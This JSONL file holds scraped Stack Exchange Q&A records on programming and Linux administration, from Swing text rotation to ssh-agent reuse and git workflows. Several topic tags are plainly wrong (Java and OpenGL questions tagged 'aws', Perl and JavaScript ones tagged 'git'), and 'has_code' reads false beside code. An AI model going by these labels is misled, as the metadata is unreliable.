{"id": "hf_36f6b038aa3e", "question": "<p>I'm looking to have text display vertically, first letter at the bottom, last letter at the top, within a JLabel.  Is this possible?</p>\n", "question_body": "", "answer": "You can do it by messing with the paint command, sort of like this:\n```\n```\npublic class JVertLabel extends JComponent{\n  private String text;\n\n  public JVertLabel(String s){\n    text = s;\n  }\n\n  public void paintComponent(Graphics g){\n    super.paintComponent(g);\n    Graphics2D g2d = (Graphics2D)g;\n\n    g2d.rotate(Math.toRadians(270.0)); \n    g2d.drawString(text, 0, 0);\n  }\n}\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.275942"}
{"id": "hf_14bd1da03466", "question": "<p>I have a Bash shell script in which I would like to pause execution until the user presses a key. In DOS, this is easily accomplished with the <code>pause</code> command. Is there a Linux equivalent I can use in my script?</p>\n", "question_body": "", "answer": "```\nread\n```\ndoes this:\n```\n```\nuser@host:~$ read -n1 -r -p \"Press any key to continue...\" key\n[...]\nuser@host:~$\n```\n```\nThe\n```\n-n1\n```\nspecifies that it only waits for a single character. The\n```\n-r\n```\nputs it into raw mode, which is necessary because otherwise, if you press something like backslash, it doesn't register until you hit the next key.  The\n```\n-p\n```\nspecifies the prompt, which must be quoted if it contains spaces.  The\n```\nkey\n```\nargument is only necessary if you want to know which key they pressed, in which case you can access it through\n```\n$key\n```\n.\nIf you are using Bash, you can also specify a timeout with\n```\n-t\n```\n, which causes read to return a failure when a key isn't pressed. So for example:\n```\n```\nread -t5 -n1 -r -p 'Press any key in the next five seconds...' key\nif [ \"$?\" -eq \"0\" ]; then\n    echo 'A key was pressed.'\nelse\n    echo 'No key was pressed.'\nfi\n```\n```", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.381075"}
{"id": "hf_172802b283b0", "question": "<p>I'm trying to detect the size of the screen I'm starting emacs on, and adjust the size and position the window it is starting in (I guess that's the frame in emacs-speak) accordingly. I'm trying to set up my .emacs so that I always get a \"reasonably-big\" window with it's top-left corner near the top-left of my screen.</p>\n\n<p>I guess this is a <em>big</em> ask for the general case, so to narrow things down a bit I'm most interested in GNU Emacs 22 on Windows and (Debian) Linux.</p>\n", "question_body": "", "answer": "```\n```\n(setq initial-frame-alist\n        (append '((width . 263) (height . 112) (top . -5) (left . 5) (font . \"4.System VIO\"))\n                initial-frame-alist))\n\n(setq default-frame-alist\n        (append '((width . 263) (height . 112) (top . -5) (left . 5) (font . \"4.System VIO\"))\n                default-frame-alist))\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.514052"}
{"id": "hf_94c0ac9d4423", "question": "<p>I'm working on a project that will be distributed with GNU autoconf/automake, and I have a set of bash scripts which call awk scripts.  I would like the bash scripts to end up in the $PATH, but not the awk scripts.  How should I insert these into the project?  Should they be put in with other binaries?</p>\n\n<p>Also, is there a way to determine the final location of the file after installation?  I presume that /usr/local/bin isn't <em>always</em> where the executables end up...</p>\n", "question_body": "", "answer": "Add something like this to Makefile.am\n```\n```\nscriptsdir = $(prefix)/bin\nscripts_DATA = awkscript1 awkscript2\n```\n```\nIn this case it will install awkscript in $(prefix)/bin (you can also use $(bindir)).\nNote: Dont forget that the first should be named name + dir (scripts -> scriptsdir) and the second should be name + _DATA (scripts -> scripts_DATA).", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.757196"}
{"id": "hf_e9cced6d01e6", "question": "<p>What's the best way to automate testing the UI in an Asp.net Page?</p>\n", "question_body": "", "answer": "Watir\nor\nWatin\nare a great place to start.\nMore info\nhere", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.885197"}
{"id": "hf_cc31d4b5e81d", "question": "<p>Given a date/time as an array of (year, month, day, hour, minute, second), how would you convert it to epoch time, i.e., the number of seconds since 1970-01-01 00:00:00 GMT?</p>\n\n<p>Bonus question: If given the date/time as a string, how would you first parse it into the (y,m,d,h,m,s) array?</p>\n", "question_body": "", "answer": "This is the simplest way to get unix time:\n```\n```\nuse Time::Local;\ntimelocal($second,$minute,$hour,$day,$month-1,$year);\n```\n```\nNote the reverse order of the arguments and that January is month 0.\nFor many more options, see the\nDateTime\nmodule from CPAN.\nAs for parsing, see the\nDate::Parse\nmodule from CPAN.  If you really need to get fancy with date parsing, the\nDate::Manip\nmay be helpful, though its own documentation warns you away from it since it carries a lot of baggage (it knows things like common business holidays, for example) and other solutions are much faster.\nIf you happen to know something about the format of the date/times you'll be parsing then a simple regular expression may suffice but you're probably better off using an appropriate CPAN module.  For example, if you know the dates will always be in YMDHMS order, use the CPAN module\nDateTime::Format::ISO8601\n.\nFor my own reference, if nothing else, below is a function I use for an application where I know the dates will always be in YMDHMS order with all or part of the \"HMS\" part optional.  It accepts any delimiters (eg, \"2009-02-15\" or \"2009.02.15\").  It returns the corresponding unix time (seconds since 1970-01-01 00:00:00 GMT) or -1 if it couldn't parse it (which means you better be sure you'll never legitimately need to parse the date 1969-12-31 23:59:59).  It also presumes two-digit years XX up to \"69\" refer to \"20XX\", otherwise \"19XX\" (eg, \"50-02-15\" means 2050-02-15 but \"75-02-15\" means 1975-02-15).\n```\n```\nuse Time::Local;\n\nsub parsedate { \n  my($s) = @_;\n  my($year, $month, $day, $hour, $minute, $second);\n\n  if($s =~ m{^\\s*(\\d{1,4})\\W*0*(\\d{1,2})\\W*0*(\\d{1,2})\\W*0*\n                 (\\d{0,2})\\W*0*(\\d{0,2})\\W*0*(\\d{0,2})}x) {\n    $year = $1;  $month = $2;   $day = $3;\n    $hour = $4;  $minute = $5;  $second = $6;\n    $hour |= 0;  $minute |= 0;  $second |= 0;  # defaults.\n    $year = ($year<100 ? ($year<70 ? 2000+$year : 1900+$year) : $year);\n    return timelocal($second,$minute,$hour,$day,$month-1,$year);  \n  }\n  return -1;\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.061752"}
{"id": "hf_abf93764e781", "question": "<p>So if I'm using branches that are remote (tracked) branches, and I want to get the lastest, I'm still unclear if I should be doing <code>git pull</code> or <code>git rebase</code>. I thought I had read that doing <code>git rebase</code> when working on a branch with other users, it can screw them up when they pull or rebase. Is that true? Should we all be using <code>git pull</code>?</p>\n", "question_body": "", "answer": "```\ngit pull\n```\ndoes a merge if you've got commits that aren't in the remote branch.\n```\ngit rebase\n```\nrewrites any existing commits you have to be relative to the tip of the remote branch. They're similar in that they can both cause conflicts, but I think using\n```\ngit rebase\n```\nif you can allows for smoother collaboration. During the rebase operation you can refine your commits so they look like they were newly applied to the latest revision of the remote branch. A merge is perhaps more appropriate for longer development cycles on a branch that have more history.\nLike most other things in git, there is a lot of overlapping functionality to accommodate different styles of working.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.309213"}
{"id": "hf_5db9efab9bcc", "question": "<p>I have migrated a couple of project from Subversion to git. It work really well but when I clone my repository, it's really long because I have all the history of a lot of .jar file included in the transfer.</p>\n\n<p>Is there a way to keep only the latest version of certain type of file in my main repository. I mainly want to delete old version on binary file.</p>\n", "question_body": "", "answer": "In short, this would involve rewriting the entire git commit tree to exclude the files.\nHave you tried using\n```\ngit gc\n```\nand\n```\ngit pack\n```\nto have git compress your repository?", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.434928"}
{"id": "hf_f476e46d63cf", "question": "<p>I know I once know how to do this but... how do you run a script (bash is OK) on login in unix?</p>\n", "question_body": "", "answer": "The script\n```\n~/.bash_profile\n```\nis run on login.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.563425"}
{"id": "hf_5931a630d62e", "question": "<p>I need to copy the newest file in a directory to a new location. So far I've found resources on the <a href=\"http://www.ss64.com/nt/forfiles.html\" rel=\"noreferrer\">forfiles</a> command, a <a href=\"https://stackoverflow.com/q/51837\">date-related question</a> here, and another <a href=\"https://stackoverflow.com/q/50902\">related question</a>. I'm just having a bit of trouble putting the pieces together! How do I copy the newest file in that directory to a new place?</p>\n", "question_body": "", "answer": "I know you asked for Windows but thought I'd add this anyway,in Unix/Linux you could do:\n```\n```\ncp `ls -t1 | head -1` /somedir/\n```\n```\nWhich will list all files in the current directory sorted by modification time and then cp the most recent to /somedir/", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.694035"}
{"id": "hf_bc2ea6e8e966", "question": "<p><a href=\"http://github.com/rails/ssl_requirement/tree/master/lib/ssl_requirement.rb\" rel=\"nofollow noreferrer\">Take a look at the ssl_requirement plugin.</a></p>\n\n<p>Shouldn't it check to see if you're in production mode?  We're seeing a redirect to https in development mode, which seems odd.  Or is that the normal behavior for the plugin?  I thought it behaved differently in the past.</p>\n", "question_body": "", "answer": "I guess they believe that you should probably be using HTTPS (perhaps with a self-signed certificate) in development mode. If that's not the desired behaviour, there's nothing stopping you from special casing SSL behaviour in the development environment yourself:\n```\n```\nclass YourController < ApplicationController\n  ssl_required :update unless Rails.env.development?\nend\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.822674"}
{"id": "hf_367f42f524b4", "question": "<p>What libraries can I use to build a GUI for an Erlang application? Please one option per answer.</p>\n", "question_body": "", "answer": "Most people don't code the actual GUI in Erlang.  A more common approach would be to write the GUI layer in Java or C# and then talk to your Erlang app via a socket or pipe.\nWith that in mind, you probably want to look into various libraries for doing RPC between java or .Net applications and Erlang:\nhttp://weblogs.asp.net/nleghari/archive/2008/01/08/integrating-net-and-erlang-using-otp-net.aspx\nhttp://www.theserverside.com/tt/articles/article.tss?l=IntegratingJavaandErlang\nEDIT\nIf you're truly set on coding an interface in erlang, you might consider doing a web-based GUI served via Yaws, the erlang web server:\nhttp://yaws.hyber.org/appmods.yaws", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:49.937943"}
{"id": "hf_96e202da681f", "question": "<p>Part of a new product I have been assigned to work on involves server-side conversion of the 'common' video formats to something that Flash can play.</p>\n\n<p>As far as I know, my only option is to convert to FLV. I have been giving ffmpeg a go around, but I'm finding a few WMV files that come out with garbled sound (I've tried playing with the audio rates).</p>\n\n<p>Are there any other 'good' CLI converters for Linux? Or are there other video formats that Flash can play?</p>\n", "question_body": "", "answer": "Flash can play the following formats:\n```\n```\nFLV with AAC or MP3 audio, and FLV1 (Sorenson Spark H.263), VP6, or H.264 video.\nMP4 with AAC or MP3 audio, and H.264 video (mp4s must be hinted with qt-faststart or mp4box).\n```\n```\nffmpeg is an overall good conversion utility; mencoder works better with obscure and proprietary formats (due to the w32codecs binary decoder package) but its muxing is rather suboptimal (read: often totally broken).  One solution might be to encode H.264 with x264 through mencoder, and then mux separately with mp4box.\nAs a developer of x264 (and avid user of flash for online video playback), I've had quite a bit of experience in this kind of stuff, so if you want more assistance I'm also available on Freenode IRC on #x264, #ffmpeg, and #mplayer.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.071223"}
{"id": "hf_685c46145556", "question": "<p>I want to know if people here typically disable SELinux on installations where it is on by default? If so can you explain why, what kind of system it was, etc?</p>\n\n<p>I'd like to get as many opinions on this as possible.</p>\n", "question_body": "", "answer": "I don't have a lot to contribute here, but since its gone unanswered, I figured I would throw my two cents in.\nPersonally, I disable it on dev boxes and when I'm dealing with unimportant things. When I am dealing with anything production, or that requires better security, I leave it on and/or spend the time tweaking it to handle things how I need.\nWeather or not you use it really comes down to your needs, but it was created for a reason, so consider using it rather than always shut it off.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.206935"}
{"id": "hf_e2d1c5fa6d31", "question": "<p>how can one know that each process or a thread is consuming how much memory in MYSQL?</p>\n", "question_body": "", "answer": "Assuming you just want just the memory usage of the mysql server program.\nOn windows you can use\nProcess Explorer\nOn linux you can use the top command.\nUse \"ps -e\" to find the pid of the mysql process\nThen use \"top -p {pid}\" where {pid} is the pid of the mysql process.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.367211"}
{"id": "hf_3a6bb819841e", "question": "<p>After downloading files from a remote UNIX FTP server, you want to verify that you have downloaded all the files correctly. Minimal you will get information similar to \"dir /s\" command in Windows command prompt. The FTP client runs on Windows.</p>\n", "question_body": "", "answer": "Sadly this was written for Unix/Linux users :/\nPersonally, I would install CYGWIN just to get Linux binaries of LFTP/RSYNC to work on windows, as there appears not to be anything that competes with it.\nAs @zadok.myopenid.com \nmentioned rsync, this appears to be a windows build for it using CYGWIN ( if you manage to be able to get ssh access to the box eventually )\nhttp://www.aboutmyip.com/AboutMyXApp/DeltaCopy.jsp\nRsync is handy in that it will compare everything with check sums, and optimally transfer partial change blocks.\nIf you get CYGWIN/Linux:\nhttp://lftp.yar.ru/\nis my favorite exploration tool for this.\nIt can do almost everything bash can do, albeit remotely.\nExample:\n```\n$ lftp mirror.3fl.net.au\nlftp mirror.3fl.net.au:~> ls                          \ndrwxr-xr-x  14 root     root         4096 Nov 27  2007 games\ndrwx------   2 root     root        16384 Apr 13  2006 lost+found\ndrwxr-xr-x  15 mirror   mirror       4096 Jul 15 05:20 pub\nlftp mirror.3fl.net.au:/> cd games/misc\nlftp mirror.3fl.net.au:/games/misc>find\n./\n./dreamchess/\n./dreamchess/full_game/                                                      \n./dreamchess/full_game/dreamchess-0.2.0-win32.exe                                      \n./frets_on_fire/\n./frets_on_fire/full_game/                                                      \n./frets_on_fire/full_game/FretsOnFire-1.2.451-macosx.zip                                  \n./frets_on_fire/full_game/FretsOnFire-1.2.512-win32.zip\n./frets_on_fire/full_game/FretsOnFire_ghc_mod.zip\n./gametap_setup.exe\n......\nlftp mirror.3fl.net.au:/games/misc> du gametap_setup.exe \n32442   gametap_setup.exe\nlftp mirror.3fl.net.au:/games/misc> du -sh gametap_setup.exe \n32M     gametap_setup.exe\nlftp mirror.3fl.net.au:/games/misc>\n```", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.476062"}
{"id": "hf_46490307a3fa", "question": "<p>How would I go about converting an address or city to a latitude/longitude? Are there commercial outfits I can \"rent\" this service from? This would be used in a commercial desktop application on a Windows PC with fulltime internet access.</p>\n", "question_body": "", "answer": "Google has a geocoding API which seems to work pretty well for most of the locations that they have Google Maps data for.\nhttp://googlemapsapi.blogspot.com/2006/06/geocoding-at-last.html\nThey provide online geocoding (via JavaScript):\nhttp://code.google.com/apis/maps/documentation/services.html#Geocoding\nOr backend geocoding (via an HTTP request):\nhttp://code.google.com/apis/maps/documentation/services.html#Geocoding_Direct\nThe data is usually the same used by Google Maps itself. (note that there are some exceptions to this, such as the UK or Israel, where the data is from a different source and of slightly reduced quality)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.626227"}
{"id": "hf_f2b53cf4e417", "question": "<p>When I commit I get this error from Subversion:</p>\n\n<pre><code>bash-2.05b$ svn commit -m \"testing subversion, still\"\nAdding         baz\nsvn: Commit failed (details follow):\nsvn: MKCOL of '/viper/!svn/wrk/6b9bcd38-b2fe-0310-95ff-9d1a44098866/sandboxes/ohammersmith/trunk/baz': 405 Method Not Allowed (http://svn.example.com)\n</code></pre>\n", "question_body": "", "answer": "This happens when you have added a directory that someone else has also added and already committed.  The error message on a commit is really confusing, but if you do an\n```\nsvn up\n```\ninstead you'll see this message:\n```\n```\nbash-2.05b$ svn up\nsvn: Failed to add directory 'baz': object of the same name already exists\n```\n```\nTo resolve the issue, remove your directory (or move it aside) and do an\n```\nsvn update\n```\nto get the version on the server and re-do your changes.\nAs a general rule, be sure to do\n```\nsvn update\n```\nsince the error messages tend to be more helpful.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.801667"}
{"id": "hf_a6dcbded58b4", "question": "<p>Can someone provide an explanation of variable scope in JS as it applies to objects, functions and closures? </p>\n", "question_body": "", "answer": "Variables not declared with var are global in scope. \nFunctions introduce a scope, but note that if blocks and other blocks do not introduce a scope.\nI could also see much information about this by Googling Javascript scope. That's really what I would recommend.\nhttp://www.digital-web.com/articles/scope_in_javascript/", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:50.982097"}
{"id": "hf_08fe2d3effc4", "question": "<p>I would like to automatically convert between tabs and spaces for indentation when I commit/update code to/from our repository. I have found the AnyEdit plugin for eclipse, which can convert directories of files. Not bad for a start, but does anybody have more expierience on how to handle this? Or maybe know of an Ant script or something else?</p>\n", "question_body": "", "answer": "Why not just use the code formatter and/or cleanup function? It has settings that take care of that stuff for you. You can even have it run automatically on save.\nEdit:\nAs Peter Perháč points out in the comments, this only answers half the question. I don't have any practical experience, but you could try the\nMaven Eclipse Format Plugin\nto format from a Maven build.\nUnfortunately, that's Maven only, and I know of no light-weight command line formatter. But if you happen to use Maven, you can bind the format goal to the proper phase, and if you set Eclipse to auto-build, it would format on update.\nDepending on the SCM tool (git, svn, etc), you could also create a hook that runs the build (but it might be a bit too heavy-weight for that).", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.122137"}
{"id": "hf_9e71a55b50bd", "question": "<p>I have a C extension module and it would be nice to distribute built binaries. Setuptools makes it easy to build extensions modules on OS X and GNU/Linux, since those OSs come with GCC, but I don't know how to do it in Windows.</p>\n\n<p>Would I need to buy a copy of Visual Studio, or does Visual Studio Express work? Can I just use Cygwin or MinGW?</p>\n", "question_body": "", "answer": "You can use both MinGW and VC++ Express (free, no need to buy it).\nSee:\nhttp://eli.thegreenplace.net/2008/06/28/compiling-python-extensions-with-distutils-and-mingw/\nhttp://eli.thegreenplace.net/2008/06/27/creating-python-extension-modules-in-c/", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.321365"}
{"id": "hf_ec9413bab302", "question": "<p>How do you generate passwords?</p>\n\n<ul>\n<li>Random Characters?</li>\n<li>Passphrases?</li>\n<li>High Ascii?</li>\n</ul>\n\n<p>Something like this?</p>\n\n<pre><code>cat /dev/urandom | strings\n</code></pre>\n", "question_body": "", "answer": "A short python script to generate passwords, originally from the python cookbook.\n```\n```\n#!/usr/bin/env python\n\nfrom random import choice\nimport getopt\nimport string\nimport sys\n\ndef GenPasswd():\n    chars = string.letters + string.digits\n    for i in range(8):\n        newpasswd = newpasswd + choice(chars)\n    return newpasswd\n\ndef GenPasswd2(length=8, chars=string.letters + string.digits):\n    return ''.join([choice(chars) for i in range(length)])\n\nclass Options(object):\n    pass\n\ndef main(argv):\n    (optionList,args) = getopt.getopt(argv[1:],\"r:l:\",[\"repeat=\",\"length=\"])\n\n    options = Options()\n    options.repeat = 1\n    options.length = 8\n    for (key,value) in optionList:\n        if key == \"-r\" or key == \"--repeat\":\n            options.repeat = int(value)\n        elif key == \"-l\" or key == \"--length\":\n            options.length = int(value)\n\n    for i in xrange(options.repeat):\n        print GenPasswd2(options.length)\n\nif __name__ == \"__main__\":\n    sys.exit(main(sys.argv))\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.497165"}
{"id": "hf_17b3c360b2a4", "question": "<p>whether command line or GUI, I'd be interested in testing every of them.</p>\n", "question_body": "", "answer": "Do you mean monitor the status of each app? The only monitoring tools I know of are the ones from Microsoft\nhere\nIf you want to monitor what the Biztalk app is doing, you'll need to put logging code into the app itself and then monitor the log (database table, event viewer, etc).", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.631022"}
{"id": "hf_953cee32687c", "question": "<p>What is the best way to draw a variable width line without using glLineWidth? \nJust draw a rectangle? \nVarious  parallel lines?\nNone of the above?</p>\n", "question_body": "", "answer": "You can draw two triangles:\n```\n```\n// Draws a line between (x1,y1) - (x2,y2) with a start thickness of t1 and\n// end thickness t2.\nvoid DrawLine(float x1, float y1, float x2, float y2, float t1, float t2)\n{\n    float angle = atan2(y2 - y1, x2 - x1);\n    float t2sina1 = t1 / 2 * sin(angle);\n    float t2cosa1 = t1 / 2 * cos(angle);\n    float t2sina2 = t2 / 2 * sin(angle);\n    float t2cosa2 = t2 / 2 * cos(angle);\n\n    glBegin(GL_TRIANGLES);\n    glVertex2f(x1 + t2sina1, y1 - t2cosa1);\n    glVertex2f(x2 + t2sina2, y2 - t2cosa2);\n    glVertex2f(x2 - t2sina2, y2 + t2cosa2);\n    glVertex2f(x2 - t2sina2, y2 + t2cosa2);\n    glVertex2f(x1 - t2sina1, y1 + t2cosa1);\n    glVertex2f(x1 + t2sina1, y1 - t2cosa1);\n    glEnd();\n}\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.738853"}
{"id": "hf_45a199e00882", "question": "<p>I used <code>git pull</code> and had a merge conflict:</p>\n<pre><code>unmerged:   some_file.txt\n\nYou are in the middle of a conflicted merge.\n</code></pre>\n<p>How do I abandon my changes to the file and keep only the pulled changes?</p>\n", "question_body": "", "answer": "I think it's\n```\ngit reset\n```\nyou need.\nBeware that\n```\ngit revert\n```\nmeans something very different to, say,\n```\nsvn revert\n```\n- in Subversion the revert will discard your (uncommitted) changes, returning the file to the current version from the repository, whereas\n```\ngit revert\n```\n\"undoes\" a commit.\n```\ngit reset\n```\nshould do the equivalent of\n```\nsvn revert\n```\n, that is, discard your unwanted changes.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.860736"}
{"id": "hf_7f0924088612", "question": "<p>Anyone happen to have a sample script for recursing a given directory in a filesystem with Powershell? Ultimately what I'm wanting to do is create a script that will generate NSIS file lists for me given a directory. Something very similar to what was done <a href=\"http://blogs.oracle.com/duffblog/2006/12/dynamic_file_list_with_nsis.html\" rel=\"nofollow noreferrer\">here</a> with a BASH script.</p>\n", "question_body": "", "answer": "This is a \"paraphrase\" port of that bash script.\n```\n```\n$path = \"c:\\path\\to\\program\"\n$installFiles = \"installfiles_list.txt\"\n$uninstFiles = \"uninstfiles_list.txt\"\n$files = get-childitem -path $path -recurse | where-object { ! $_.psIsContainer } # won't include dirs\n$filepath = $files | foreach-object { $_.FullName }\n$filepath | set-content $installFiles -encoding ASCII\n$filepath[($filepath.length-1)..0] | set-content $uninstFiles -encoding ASCII\n```\n```", "tags": ["bash", "powershell"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:51.990892"}
{"id": "hf_07b6646f8585", "question": "<p>What is the current state of the art in rails for preventing spam accounts? Captcha? Any good plugins, tutorials or suggestions?</p>\n", "question_body": "", "answer": "Spam is fair. It doesn't care what you're running behind the scenes.\nSo by extension, the things that work well on Rails are the same things that work for PHP, ASPNET, etc. Take a look at\nAkismet\nand the various \"karma\" anti-bot tools there are about.\nFor some there are existing ruby ports but you might have to rewrite a few to task.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:52.141899"}
{"id": "hf_65cf3295f0dc", "question": "<p>It should also support SSH2 and public key auth for starters.\nsecondly on Mac/Windows it should have a decent installer.</p>\n", "question_body": "", "answer": "I've just started using\nqgit\nand it seem pretty nice.  I installed it on my Mac via\nMacPorts\n, there's a Windows installer (I haven't tried it) and I'm sure it's easy to get for Linux as well.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:52.255067"}
{"id": "hf_11246e55f5f4", "question": "<p>I use ssh-agent with password-protected keys on Linux. Every time I log into a certain machine, I do this:</p>\n\n<pre><code>eval `ssh-agent` &amp;&amp; ssh-add\n</code></pre>\n\n<p>This works well enough, but every time I log in and do this, I create another ssh-agent. Once in a while, I will do a <code>killall ssh-agent</code> to reap them. Is there a simple way to reuse the same ssh-agent process across different sessions?</p>\n", "question_body": "", "answer": "How much control do you have over this machine? One answer would be to run ssh-agent as a daemon process. Other options are explained on\nthis web page\n, basically testing to see if the agent is around and then running it if it's not.\nTo reproduce one of the ideas here:\n```\n```\nSSH_ENV=\"$HOME/.ssh/environment\"\n\nfunction start_agent {\n     echo \"Initialising new SSH agent...\"\n     /usr/bin/ssh-agent | sed 's/^echo/#echo/' > \"${SSH_ENV}\"\n     echo succeeded\n     chmod 600 \"${SSH_ENV}\"\n     . \"${SSH_ENV}\" > /dev/null\n     /usr/bin/ssh-add;\n}\n\n# Source SSH settings, if applicable\n\nif [ -f \"${SSH_ENV}\" ]; then\n     . \"${SSH_ENV}\" > /dev/null\n     #ps ${SSH_AGENT_PID} doesn’t work under cywgin\n     ps -ef | grep ${SSH_AGENT_PID} | grep ssh-agent$ > /dev/null || {\n         start_agent;\n     }\nelse\n     start_agent;\nfi\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:52.431623"}
